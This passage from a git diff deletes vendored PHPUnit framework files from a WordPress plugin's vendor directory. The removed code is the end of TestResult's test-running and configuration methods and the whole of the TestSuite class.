- $size = TestUtil::UNKNOWN; - - if ($test instanceof TestCase) { - $test->setRegisterMockObjectsFromTestArgumentsRecursively( - $this->registerMockObjectsFromTestArgumentsRecursively, - ); - - $isAnyCoverageRequired = TestUtil::requiresCodeCoverageDataCollection($test); - $size = $test->getSize(); - } - - $error = false; - $failure = false; - $warning = false; - $incomplete = false; - $risky = false; - $skipped = false; - - $this->startTest($test); - - if ($this->convertDeprecationsToExceptions || $this->convertErrorsToExceptions || $this->convertNoticesToExceptions || $this->convertWarningsToExceptions) { - $errorHandler = new ErrorHandler( - $this->convertDeprecationsToExceptions, - $this->convertErrorsToExceptions, - $this->convertNoticesToExceptions, - $this->convertWarningsToExceptions, - ); - - $errorHandler->register(); - } - - $collectCodeCoverage = $this->codeCoverage !== null && - !$test instanceof ErrorTestCase && - !$test instanceof WarningTestCase && - $isAnyCoverageRequired; - - if ($collectCodeCoverage) { - $this->codeCoverage->start($test); - } - - $monitorFunctions = $this->beStrictAboutResourceUsageDuringSmallTests && - !$test instanceof ErrorTestCase && - !$test instanceof WarningTestCase && - $size === TestUtil::SMALL && - function_exists('xdebug_start_function_monitor'); - - if ($monitorFunctions) { - /* @noinspection ForgottenDebugOutputInspection */ - xdebug_start_function_monitor(ResourceOperations::getFunctions()); - } - - $timer = new Timer; - $timer->start(); - - try { - $invoker = new Invoker; - - if (!$test instanceof ErrorTestCase && - !$test instanceof WarningTestCase && - $this->shouldTimeLimitBeEnforced($size) && - $invoker->canInvokeWithTimeout()) { - switch ($size) { - case TestUtil::SMALL: - $_timeout = $this->timeoutForSmallTests; - - break; - - case TestUtil::MEDIUM: - $_timeout = $this->timeoutForMediumTests; - - break; - - case TestUtil::LARGE: - $_timeout = $this->timeoutForLargeTests; - - break; - - default: - $_timeout = $this->defaultTimeLimit; - } - - $invoker->invoke([$test, 'runBare'], [], $_timeout); - } else { - $test->runBare(); - } - } catch (TimeoutException $e) { - $this->addFailure( - $test, - new RiskyTestError( - $e->getMessage(), - ), - $_timeout, - ); - - $risky = true; - } catch (AssertionFailedError $e) { - $failure = true; - - if ($e instanceof RiskyTestError) { - $risky = true; - } elseif ($e instanceof IncompleteTestError) { - $incomplete = true; - } elseif ($e instanceof SkippedTestError) { - $skipped = true; - } - } catch (AssertionError $e) { - $test->addToAssertionCount(1); - - $failure = true; - $frame = $e->getTrace()[0]; - - $e = new AssertionFailedError( - sprintf( - '%s in %s:%s', - $e->getMessage(), - $frame['file'] ?? $e->getFile(), - $frame['line'] ?? $e->getLine(), - ), - 0, - $e, - ); - } catch (Warning $e) { - $warning = true; - } catch (Exception $e) { - $error = true; - } catch (Throwable $e) { - $e = new ExceptionWrapper($e); - $error = true; - } - - $time = $timer->stop()->asSeconds(); - - $test->addToAssertionCount(Assert::getCount()); - - if ($monitorFunctions) { - $excludeList = new ExcludeList; - - /** @noinspection ForgottenDebugOutputInspection */ - $functions = xdebug_get_monitored_functions(); - - /* @noinspection ForgottenDebugOutputInspection */ - xdebug_stop_function_monitor(); - - foreach ($functions as $function) { - if (!$excludeList->isExcluded($function['filename'])) { - $this->addFailure( - $test, - new RiskyTestError( - sprintf( - '%s() used in %s:%s', - $function['function'], - $function['filename'], - $function['lineno'], - ), - ), - $time, - ); - } - } - } - - if ($this->beStrictAboutTestsThatDoNotTestAnything && - !$test->doesNotPerformAssertions() && - $test->getNumAssertions() === 0) { - $risky = true; - } - - if ($this->forceCoversAnnotation && !$error && !$failure && !$warning && !$incomplete && !$skipped && !$risky) { - $annotations = TestUtil::parseTestMethodAnnotations( - get_class($test), - $test->getName(false), - ); - - if (!isset($annotations['class']['covers']) && - !isset($annotations['method']['covers']) && - !isset($annotations['class']['coversNothing']) && - !isset($annotations['method']['coversNothing'])) { - $this->addFailure( - $test, - new MissingCoversAnnotationException( - 'This test does not have a @covers annotation but is expected to have one', - ), - $time, - ); - - $risky = true; - } - } - - if ($collectCodeCoverage) { - $append = !$risky && !$incomplete && !$skipped; - $linesToBeCovered = []; - $linesToBeUsed = []; - - if ($append && $test instanceof TestCase) { - try { - $linesToBeCovered = TestUtil::getLinesToBeCovered( - get_class($test), - $test->getName(false), - ); - - $linesToBeUsed = TestUtil::getLinesToBeUsed( - get_class($test), - $test->getName(false), - ); - } catch (InvalidCoversTargetException $cce) { - $this->addWarning( - $test, - new Warning( - $cce->getMessage(), - ), - $time, - ); - } - } - - try { - $this->codeCoverage->stop( - $append, - $linesToBeCovered, - $linesToBeUsed, - ); - } catch (UnintentionallyCoveredCodeException $cce) { - $unintentionallyCoveredCodeError = new UnintentionallyCoveredCodeError( - 'This test executed code that is not listed as code to be covered or used:' . - PHP_EOL . $cce->getMessage(), - ); - } catch (OriginalCodeCoverageException $cce) { - $error = true; - - $e = $e ?? $cce; - } - } - - if (isset($errorHandler)) { - $errorHandler->unregister(); - - unset($errorHandler); - } - - if ($error) { - $this->addError($test, $e, $time); - } elseif ($failure) { - $this->addFailure($test, $e, $time); - } elseif ($warning) { - $this->addWarning($test, $e, $time); - } elseif (isset($unintentionallyCoveredCodeError)) { - $this->addFailure( - $test, - $unintentionallyCoveredCodeError, - $time, - ); - } elseif ($this->beStrictAboutTestsThatDoNotTestAnything && - !$test->doesNotPerformAssertions() && - $test->getNumAssertions() === 0) { - try { - $reflected = new ReflectionClass($test); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $name = $test->getName(false); - - if ($name && $reflected->hasMethod($name)) { - try { - $reflected = $reflected->getMethod($name); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } - - $this->addFailure( - $test, - new RiskyTestError( - sprintf( - "This test did not perform any assertions\n\n%s:%d", - $reflected->getFileName(), - $reflected->getStartLine(), - ), - ), - $time, - ); - } elseif ($this->beStrictAboutTestsThatDoNotTestAnything && - $test->doesNotPerformAssertions() && - $test->getNumAssertions() > 0) { - $this->addFailure( - $test, - new RiskyTestError( - sprintf( - 'This test is annotated with "@doesNotPerformAssertions" but performed %d assertions', - $test->getNumAssertions(), - ), - ), - $time, - ); - } elseif ($this->beStrictAboutOutputDuringTests && $test->hasOutput()) { - $this->addFailure( - $test, - new OutputError( - sprintf( - 'This test printed output: %s', - $test->getActualOutput(), - ), - ), - $time, - ); - } elseif ($this->beStrictAboutTodoAnnotatedTests && $test instanceof TestCase) { - $annotations = TestUtil::parseTestMethodAnnotations( - get_class($test), - $test->getName(false), - ); - - if (isset($annotations['method']['todo'])) { - $this->addFailure( - $test, - new RiskyTestError( - 'Test method is annotated with @todo', - ), - $time, - ); - } - } - - $this->endTest($test, $time); - } - - /** - * Gets the number of run tests. - */ - public function count(): int - { - return $this->runTests; - } - - /** - * Checks whether the test run should stop. - */ - public function shouldStop(): bool - { - return $this->stop; - } - - /** - * Marks that the test run should stop. - */ - public function stop(): void - { - $this->stop = true; - } - - /** - * Returns the code coverage object. - */ - public function getCodeCoverage(): ?CodeCoverage - { - return $this->codeCoverage; - } - - /** - * Sets the code coverage object. - */ - public function setCodeCoverage(CodeCoverage $codeCoverage): void - { - $this->codeCoverage = $codeCoverage; - } - - /** - * Enables or disables the deprecation-to-exception conversion. - */ - public function convertDeprecationsToExceptions(bool $flag): void - { - $this->convertDeprecationsToExceptions = $flag; - } - - /** - * Returns the deprecation-to-exception conversion setting. - */ - public function getConvertDeprecationsToExceptions(): bool - { - return $this->convertDeprecationsToExceptions; - } - - /** - * Enables or disables the error-to-exception conversion. - */ - public function convertErrorsToExceptions(bool $flag): void - { - $this->convertErrorsToExceptions = $flag; - } - - /** - * Returns the error-to-exception conversion setting. - */ - public function getConvertErrorsToExceptions(): bool - { - return $this->convertErrorsToExceptions; - } - - /** - * Enables or disables the notice-to-exception conversion. - */ - public function convertNoticesToExceptions(bool $flag): void - { - $this->convertNoticesToExceptions = $flag; - } - - /** - * Returns the notice-to-exception conversion setting. - */ - public function getConvertNoticesToExceptions(): bool - { - return $this->convertNoticesToExceptions; - } - - /** - * Enables or disables the warning-to-exception conversion. - */ - public function convertWarningsToExceptions(bool $flag): void - { - $this->convertWarningsToExceptions = $flag; - } - - /** - * Returns the warning-to-exception conversion setting. - */ - public function getConvertWarningsToExceptions(): bool - { - return $this->convertWarningsToExceptions; - } - - /** - * Enables or disables the stopping when an error occurs. - */ - public function stopOnError(bool $flag): void - { - $this->stopOnError = $flag; - } - - /** - * Enables or disables the stopping when a failure occurs. - */ - public function stopOnFailure(bool $flag): void - { - $this->stopOnFailure = $flag; - } - - /** - * Enables or disables the stopping when a warning occurs. - */ - public function stopOnWarning(bool $flag): void - { - $this->stopOnWarning = $flag; - } - - public function beStrictAboutTestsThatDoNotTestAnything(bool $flag): void - { - $this->beStrictAboutTestsThatDoNotTestAnything = $flag; - } - - public function isStrictAboutTestsThatDoNotTestAnything(): bool - { - return $this->beStrictAboutTestsThatDoNotTestAnything; - } - - public function beStrictAboutOutputDuringTests(bool $flag): void - { - $this->beStrictAboutOutputDuringTests = $flag; - } - - public function isStrictAboutOutputDuringTests(): bool - { - return $this->beStrictAboutOutputDuringTests; - } - - public function beStrictAboutResourceUsageDuringSmallTests(bool $flag): void - { - $this->beStrictAboutResourceUsageDuringSmallTests = $flag; - } - - public function isStrictAboutResourceUsageDuringSmallTests(): bool - { - return $this->beStrictAboutResourceUsageDuringSmallTests; - } - - public function enforceTimeLimit(bool $flag): void - { - $this->enforceTimeLimit = $flag; - } - - public function enforcesTimeLimit(): bool - { - return $this->enforceTimeLimit; - } - - public function beStrictAboutTodoAnnotatedTests(bool $flag): void - { - $this->beStrictAboutTodoAnnotatedTests = $flag; - } - - public function isStrictAboutTodoAnnotatedTests(): bool - { - return $this->beStrictAboutTodoAnnotatedTests; - } - - public function forceCoversAnnotation(): void - { - $this->forceCoversAnnotation = true; - } - - public function forcesCoversAnnotation(): bool - { - return $this->forceCoversAnnotation; - } - - /** - * Enables or disables the stopping for risky tests. - */ - public function stopOnRisky(bool $flag): void - { - $this->stopOnRisky = $flag; - } - - /** - * Enables or disables the stopping for incomplete tests. - */ - public function stopOnIncomplete(bool $flag): void - { - $this->stopOnIncomplete = $flag; - } - - /** - * Enables or disables the stopping for skipped tests. - */ - public function stopOnSkipped(bool $flag): void - { - $this->stopOnSkipped = $flag; - } - - /** - * Enables or disables the stopping for defects: error, failure, warning. - */ - public function stopOnDefect(bool $flag): void - { - $this->stopOnDefect = $flag; - } - - /** - * Returns the time spent running the tests. - */ - public function time(): float - { - return $this->time; - } - - /** - * Returns whether the entire test was successful or not. - */ - public function wasSuccessful(): bool - { - return $this->wasSuccessfulIgnoringWarnings() && empty($this->warnings); - } - - public function wasSuccessfulIgnoringWarnings(): bool - { - return empty($this->errors) && empty($this->failures); - } - - public function wasSuccessfulAndNoTestIsRiskyOrSkippedOrIncomplete(): bool - { - return $this->wasSuccessful() && $this->allHarmless() && $this->allCompletelyImplemented() && $this->noneSkipped(); - } - - /** - * Sets the default timeout for tests. - */ - public function setDefaultTimeLimit(int $timeout): void - { - $this->defaultTimeLimit = $timeout; - } - - /** - * Sets the timeout for small tests. - */ - public function setTimeoutForSmallTests(int $timeout): void - { - $this->timeoutForSmallTests = $timeout; - } - - /** - * Sets the timeout for medium tests. - */ - public function setTimeoutForMediumTests(int $timeout): void - { - $this->timeoutForMediumTests = $timeout; - } - - /** - * Sets the timeout for large tests. - */ - public function setTimeoutForLargeTests(int $timeout): void - { - $this->timeoutForLargeTests = $timeout; - } - - /** - * Returns the set timeout for large tests. - */ - public function getTimeoutForLargeTests(): int - { - return $this->timeoutForLargeTests; - } - - public function setRegisterMockObjectsFromTestArgumentsRecursively(bool $flag): void - { - $this->registerMockObjectsFromTestArgumentsRecursively = $flag; - } - - private function recordError(Test $test, Throwable $t): void - { - $this->errors[] = new TestFailure($test, $t); - } - - private function recordNotImplemented(Test $test, Throwable $t): void - { - $this->notImplemented[] = new TestFailure($test, $t); - } - - private function recordRisky(Test $test, Throwable $t): void - { - $this->risky[] = new TestFailure($test, $t); - } - - private function recordSkipped(Test $test, Throwable $t): void - { - $this->skipped[] = new TestFailure($test, $t); - } - - private function recordWarning(Test $test, Throwable $t): void - { - $this->warnings[] = new TestFailure($test, $t); - } - - private function shouldTimeLimitBeEnforced(int $size): bool - { - if (!$this->enforceTimeLimit) { - return false; - } - - if (!(($this->defaultTimeLimit || $size !== TestUtil::UNKNOWN))) { - return false; - } - - if (!extension_loaded('pcntl')) { - return false; - } - - if (!class_exists(Invoker::class)) { - return false; - } - - if (extension_loaded('xdebug') && xdebug_is_debugger_active()) { - return false; - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuite.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuite.php deleted file mode 100644 index 3fa0ba52..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuite.php +++ /dev/null @@ -1,922 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function array_keys; -use function array_map; -use function array_merge; -use function array_slice; -use function array_unique; -use function basename; -use function call_user_func; -use function class_exists; -use function count; -use function dirname; -use function get_declared_classes; -use function implode; -use function is_bool; -use function is_callable; -use function is_file; -use function is_object; -use function is_string; -use function method_exists; -use function preg_match; -use function preg_quote; -use function sprintf; -use function strpos; -use function substr; -use Iterator; -use IteratorAggregate; -use PHPUnit\Runner\BaseTestRunner; -use PHPUnit\Runner\Filter\Factory; -use PHPUnit\Runner\PhptTestCase; -use PHPUnit\Util\FileLoader; -use PHPUnit\Util\Reflection; -use PHPUnit\Util\Test as TestUtil; -use ReflectionClass; -use ReflectionException; -use ReflectionMethod; -use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; -use Throwable; - -/** - * @template-implements IteratorAggregate - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class TestSuite implements IteratorAggregate, Reorderable, SelfDescribing, Test -{ - /** - * Enable or disable the backup and restoration of the $GLOBALS array. - * - * @var bool - */ - protected $backupGlobals; - - /** - * Enable or disable the backup and restoration of static attributes. - * - * @var bool - */ - protected $backupStaticAttributes; - - /** - * @var bool - */ - protected $runTestInSeparateProcess = false; - - /** - * The name of the test suite. - * - * @var string - */ - protected $name = ''; - - /** - * The test groups of the test suite. - * - * @psalm-var array> - */ - protected $groups = []; - - /** - * The tests in the test suite. - * - * @var Test[] - */ - protected $tests = []; - - /** - * The number of tests in the test suite. - * - * @var int - */ - protected $numTests = -1; - - /** - * @var bool - */ - protected $testCase = false; - - /** - * @var string[] - */ - protected $foundClasses = []; - - /** - * @var null|list - */ - protected $providedTests; - - /** - * @var null|list - */ - protected $requiredTests; - - /** - * @var bool - */ - private $beStrictAboutChangesToGlobalState; - - /** - * @var Factory - */ - private $iteratorFilter; - - /** - * @var int - */ - private $declaredClassesPointer; - - /** - * @psalm-var array - */ - private $warnings = []; - - /** - * Constructs a new TestSuite. - * - * - PHPUnit\Framework\TestSuite() constructs an empty TestSuite. - * - * - PHPUnit\Framework\TestSuite(ReflectionClass) constructs a - * TestSuite from the given class. - * - * - PHPUnit\Framework\TestSuite(ReflectionClass, String) - * constructs a TestSuite from the given class with the given - * name. - * - * - PHPUnit\Framework\TestSuite(String) either constructs a - * TestSuite from the given class (if the passed string is the - * name of an existing class) or constructs an empty TestSuite - * with the given name. - * - * @param ReflectionClass|string $theClass - * - * @throws Exception - */ - public function __construct($theClass = '', string $name = '') - { - if (!is_string($theClass) && !$theClass instanceof ReflectionClass) { - throw InvalidArgumentException::create( - 1, - 'ReflectionClass object or string', - ); - } - - $this->declaredClassesPointer = count(get_declared_classes()); - - if (!$theClass instanceof ReflectionClass) { - if (class_exists($theClass, true)) { - if ($name === '') { - $name = $theClass; - } - - try { - $theClass = new ReflectionClass($theClass); - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } else { - $this->setName($theClass); - - return; - } - } - - if (!$theClass->isSubclassOf(TestCase::class)) { - $this->setName((string) $theClass); - - return; - } - - if ($name !== '') { - $this->setName($name); - } else { - $this->setName($theClass->getName()); - } - - $constructor = $theClass->getConstructor(); - - if ($constructor !== null && - !$constructor->isPublic()) { - $this->addTest( - new WarningTestCase( - sprintf( - 'Class "%s" has no public constructor.', - $theClass->getName(), - ), - ), - ); - - return; - } - - foreach ((new Reflection)->publicMethodsInTestClass($theClass) as $method) { - if (!TestUtil::isTestMethod($method)) { - continue; - } - - $this->addTestMethod($theClass, $method); - } - - if (empty($this->tests)) { - $this->addTest( - new WarningTestCase( - sprintf( - 'No tests found in class "%s".', - $theClass->getName(), - ), - ), - ); - } - - $this->testCase = true; - } - - /** - * Returns a string representation of the test suite. - */ - public function toString(): string - { - return $this->getName(); - } - - /** - * Adds a test to the suite. - * - * @param array $groups - */ - public function addTest(Test $test, $groups = []): void - { - try { - $class = new ReflectionClass($test); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if (!$class->isAbstract()) { - $this->tests[] = $test; - $this->clearCaches(); - - if ($test instanceof self && empty($groups)) { - $groups = $test->getGroups(); - } - - if ($this->containsOnlyVirtualGroups($groups)) { - $groups[] = 'default'; - } - - foreach ($groups as $group) { - if (!isset($this->groups[$group])) { - $this->groups[$group] = [$test]; - } else { - $this->groups[$group][] = $test; - } - } - - if ($test instanceof TestCase) { - $test->setGroups($groups); - } - } - } - - /** - * Adds the tests from the given class to the suite. - * - * @psalm-param object|class-string $testClass - * - * @throws Exception - */ - public function addTestSuite($testClass): void - { - if (!(is_object($testClass) || (is_string($testClass) && class_exists($testClass)))) { - throw InvalidArgumentException::create( - 1, - 'class name or object', - ); - } - - if (!is_object($testClass)) { - try { - $testClass = new ReflectionClass($testClass); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } - - if ($testClass instanceof self) { - $this->addTest($testClass); - } elseif ($testClass instanceof ReflectionClass) { - $suiteMethod = false; - - if (!$testClass->isAbstract() && $testClass->hasMethod(BaseTestRunner::SUITE_METHODNAME)) { - try { - $method = $testClass->getMethod( - BaseTestRunner::SUITE_METHODNAME, - ); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($method->isStatic()) { - $this->addTest( - $method->invoke(null, $testClass->getName()), - ); - - $suiteMethod = true; - } - } - - if (!$suiteMethod && !$testClass->isAbstract() && $testClass->isSubclassOf(TestCase::class)) { - $this->addTest(new self($testClass)); - } - } else { - throw new Exception; - } - } - - public function addWarning(string $warning): void - { - $this->warnings[] = $warning; - } - - /** - * Wraps both addTest() and addTestSuite - * as well as the separate import statements for the user's convenience. - * - * If the named file cannot be read or there are no new tests that can be - * added, a PHPUnit\Framework\WarningTestCase will be created instead, - * leaving the current test run untouched. - * - * @throws Exception - */ - public function addTestFile(string $filename): void - { - if (is_file($filename) && substr($filename, -5) === '.phpt') { - $this->addTest(new PhptTestCase($filename)); - - $this->declaredClassesPointer = count(get_declared_classes()); - - return; - } - - $numTests = count($this->tests); - - // The given file may contain further stub classes in addition to the - // test class itself. Figure out the actual test class. - $filename = FileLoader::checkAndLoad($filename); - $newClasses = array_slice(get_declared_classes(), $this->declaredClassesPointer); - - // The diff is empty in case a parent class (with test methods) is added - // AFTER a child class that inherited from it. To account for that case, - // accumulate all discovered classes, so the parent class may be found in - // a later invocation. - if (!empty($newClasses)) { - // On the assumption that test classes are defined first in files, - // process discovered classes in approximate LIFO order, so as to - // avoid unnecessary reflection. - $this->foundClasses = array_merge($newClasses, $this->foundClasses); - $this->declaredClassesPointer = count(get_declared_classes()); - } - - // The test class's name must match the filename, either in full, or as - // a PEAR/PSR-0 prefixed short name ('NameSpace_ShortName'), or as a - // PSR-1 local short name ('NameSpace\ShortName'). The comparison must be - // anchored to prevent false-positive matches (e.g., 'OtherShortName'). - $shortName = basename($filename, '.php'); - $shortNameRegEx = '/(?:^|_|\\\\)' . preg_quote($shortName, '/') . '$/'; - - foreach ($this->foundClasses as $i => $className) { - if (preg_match($shortNameRegEx, $className)) { - try { - $class = new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($class->getFileName() == $filename) { - $newClasses = [$className]; - unset($this->foundClasses[$i]); - - break; - } - } - } - - foreach ($newClasses as $className) { - try { - $class = new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if (dirname($class->getFileName()) === __DIR__) { - continue; - } - - if ($class->isAbstract() && $class->isSubclassOf(TestCase::class)) { - $this->addWarning( - sprintf( - 'Abstract test case classes with "Test" suffix are deprecated (%s)', - $class->getName(), - ), - ); - } - - if (!$class->isAbstract()) { - if ($class->hasMethod(BaseTestRunner::SUITE_METHODNAME)) { - try { - $method = $class->getMethod( - BaseTestRunner::SUITE_METHODNAME, - ); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($method->isStatic()) { - $this->addTest($method->invoke(null, $className)); - } - } elseif ($class->implementsInterface(Test::class)) { - // Do we have modern namespacing ('Foo\Bar\WhizBangTest') or old-school namespacing ('Foo_Bar_WhizBangTest')? - $isPsr0 = (!$class->inNamespace()) && (strpos($class->getName(), '_') !== false); - $expectedClassName = $isPsr0 ? $className : $shortName; - - if (($pos = strpos($expectedClassName, '.')) !== false) { - $expectedClassName = substr( - $expectedClassName, - 0, - $pos, - ); - } - - if ($class->getShortName() !== $expectedClassName) { - $this->addWarning( - sprintf( - "Test case class not matching filename is deprecated\n in %s\n Class name was '%s', expected '%s'", - $filename, - $class->getShortName(), - $expectedClassName, - ), - ); - } - - $this->addTestSuite($class); - } - } - } - - if (count($this->tests) > ++$numTests) { - $this->addWarning( - sprintf( - "Multiple test case classes per file is deprecated\n in %s", - $filename, - ), - ); - } - - $this->numTests = -1; - } - - /** - * Wrapper for addTestFile() that adds multiple test files. - * - * @throws Exception - */ - public function addTestFiles(iterable $fileNames): void - { - foreach ($fileNames as $filename) { - $this->addTestFile((string) $filename); - } - } - - /** - * Counts the number of test cases that will be run by this test. - * - * @todo refactor usage of numTests in DefaultResultPrinter - */ - public function count(): int - { - $this->numTests = 0; - - foreach ($this as $test) { - $this->numTests += count($test); - } - - return $this->numTests; - } - - /** - * Returns the name of the suite. - */ - public function getName(): string - { - return $this->name; - } - - /** - * Returns the test groups of the suite. - * - * @psalm-return list - */ - public function getGroups(): array - { - return array_map( - static function ($key): string - { - return (string) $key; - }, - array_keys($this->groups), - ); - } - - public function getGroupDetails(): array - { - return $this->groups; - } - - /** - * Set tests groups of the test case. - */ - public function setGroupDetails(array $groups): void - { - $this->groups = $groups; - } - - /** - * Runs the tests and collects their result in a TestResult. - * - * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws CodeCoverageException - * @throws UnintentionallyCoveredCodeException - * @throws Warning - */ - public function run(?TestResult $result = null): TestResult - { - if ($result === null) { - $result = $this->createResult(); - } - - if (count($this) === 0) { - return $result; - } - - /** @psalm-var class-string $className */ - $className = $this->name; - $hookMethods = TestUtil::getHookMethods($className); - - $result->startTestSuite($this); - - $test = null; - - if ($this->testCase && class_exists($this->name, false)) { - try { - foreach ($hookMethods['beforeClass'] as $beforeClassMethod) { - if (method_exists($this->name, $beforeClassMethod)) { - if ($missingRequirements = TestUtil::getMissingRequirements($this->name, $beforeClassMethod)) { - $this->markTestSuiteSkipped(implode(PHP_EOL, $missingRequirements)); - } - - call_user_func([$this->name, $beforeClassMethod]); - } - } - } catch (SkippedTestError|SkippedTestSuiteError $error) { - foreach ($this->tests() as $test) { - $result->startTest($test); - $result->addFailure($test, $error, 0); - $result->endTest($test, 0); - } - - $result->endTestSuite($this); - - return $result; - } catch (Throwable $t) { - $errorAdded = false; - - foreach ($this->tests() as $test) { - if ($result->shouldStop()) { - break; - } - - $result->startTest($test); - - if (!$errorAdded) { - $result->addError($test, $t, 0); - - $errorAdded = true; - } else { - $result->addFailure( - $test, - new SkippedTestError('Test skipped because of an error in hook method'), - 0, - ); - } - - $result->endTest($test, 0); - } - - $result->endTestSuite($this); - - return $result; - } - } - - foreach ($this as $test) { - if ($result->shouldStop()) { - break; - } - - if ($test instanceof TestCase || $test instanceof self) { - $test->setBeStrictAboutChangesToGlobalState($this->beStrictAboutChangesToGlobalState); - $test->setBackupGlobals($this->backupGlobals); - $test->setBackupStaticAttributes($this->backupStaticAttributes); - $test->setRunTestInSeparateProcess($this->runTestInSeparateProcess); - } - - $test->run($result); - } - - if ($this->testCase && class_exists($this->name, false)) { - foreach ($hookMethods['afterClass'] as $afterClassMethod) { - if (method_exists($this->name, $afterClassMethod)) { - try { - call_user_func([$this->name, $afterClassMethod]); - } catch (Throwable $t) { - $message = "Exception in {$this->name}::{$afterClassMethod}" . PHP_EOL . $t->getMessage(); - $error = new SyntheticError($message, 0, $t->getFile(), $t->getLine(), $t->getTrace()); - - $placeholderTest = clone $test; - $placeholderTest->setName($afterClassMethod); - - $result->startTest($placeholderTest); - $result->addFailure($placeholderTest, $error, 0); - $result->endTest($placeholderTest, 0); - } - } - } - } - - $result->endTestSuite($this); - - return $result; - } - - public function setRunTestInSeparateProcess(bool $runTestInSeparateProcess): void - { - $this->runTestInSeparateProcess = $runTestInSeparateProcess; - } - - public function setName(string $name): void - { - $this->name = $name; - } - - /** - * Returns the tests as an enumeration. - * - * @return Test[] - */ - public function tests(): array - { - return $this->tests; - } - - /** - * Set tests of the test suite. - * - * @param Test[] $tests - */ - public function setTests(array $tests): void - { - $this->tests = $tests; - } - - /** - * Mark the test suite as skipped. - * - * @param string $message - * - * @throws SkippedTestSuiteError - * - * @psalm-return never-return - */ - public function markTestSuiteSkipped($message = ''): void - { - throw new SkippedTestSuiteError($message); - } - - /** - * @param bool $beStrictAboutChangesToGlobalState - */ - public function setBeStrictAboutChangesToGlobalState($beStrictAboutChangesToGlobalState): void - { - if (null === $this->beStrictAboutChangesToGlobalState && is_bool($beStrictAboutChangesToGlobalState)) { - $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; - } - } - - /** - * @param bool $backupGlobals - */ - public function setBackupGlobals($backupGlobals): void - { - if (null === $this->backupGlobals && is_bool($backupGlobals)) { - $this->backupGlobals = $backupGlobals; - } - } - - /** - * @param bool $backupStaticAttributes - */ - public function setBackupStaticAttributes($backupStaticAttributes): void - { - if (null === $this->backupStaticAttributes && is_bool($backupStaticAttributes)) { - $this->backupStaticAttributes = $backupStaticAttributes; - } - } - - /** - * Returns an iterator for this test suite. - */ - public function getIterator(): Iterator - { - $iterator = new TestSuiteIterator($this); - - if ($this->iteratorFilter !== null) { - $iterator = $this->iteratorFilter->factory($iterator, $this); - } - - return $iterator; - } - - public function injectFilter(Factory $filter): void - { - $this->iteratorFilter = $filter; - - foreach ($this as $test) { - if ($test instanceof self) { - $test->injectFilter($filter); - } - } - } - - /** - * @psalm-return array - */ - public function warnings(): array - { - return array_unique($this->warnings); - } - - /** - * @return list - */ - public function provides(): array - { - if ($this->providedTests === null) { - $this->providedTests = []; - - if (is_callable($this->sortId(), true)) { - $this->providedTests[] = new ExecutionOrderDependency($this->sortId()); - } - - foreach ($this->tests as $test) { - if (!($test instanceof Reorderable)) { - // @codeCoverageIgnoreStart - continue; - // @codeCoverageIgnoreEnd - } - $this->providedTests = ExecutionOrderDependency::mergeUnique($this->providedTests, $test->provides()); - } - } - - return $this->providedTests; - } - - /** - * @return list - */ - public function requires(): array - { - if ($this->requiredTests === null) { - $this->requiredTests = []; - - foreach ($this->tests as $test) { - if (!($test instanceof Reorderable)) { - // @codeCoverageIgnoreStart - continue; - // @codeCoverageIgnoreEnd - } - $this->requiredTests = ExecutionOrderDependency::mergeUnique( - ExecutionOrderDependency::filterInvalid($this->requiredTests), - $test->requires(), - ); - } - - $this->requiredTests = ExecutionOrderDependency::diff($this->requiredTests, $this->provides()); - } - - return $this->requiredTests; - } - - public function sortId(): string - { - return $this->getName() . '::class'; - } - - /** - * Creates a default TestResult object. - */ - protected function createResult(): TestResult - { - return new TestResult; - } - - /** - * @throws Exception - */ - protected function addTestMethod(ReflectionClass $class, ReflectionMethod $method): void - { - $methodName = $method->getName(); - - $test = (new TestBuilder)->build($class, $methodName); - - if ($test instanceof TestCase || $test instanceof DataProviderTestSuite) { - $test->setDependencies( - TestUtil::getDependencies($class->getName(), $methodName), - ); - } - - $this->addTest( - $test, - TestUtil::getGroups($class->getName(), $methodName), - ); - } - - private function clearCaches(): void - { - $this->numTests = -1; - $this->providedTests = null; - $this->requiredTests = null; - } - - private function containsOnlyVirtualGroups(array $groups): bool - { - foreach ($groups as $group) { - if (strpos($group, '__phpunit_') !== 0) { - return false; - } - } - - return true; - } -} diff --git 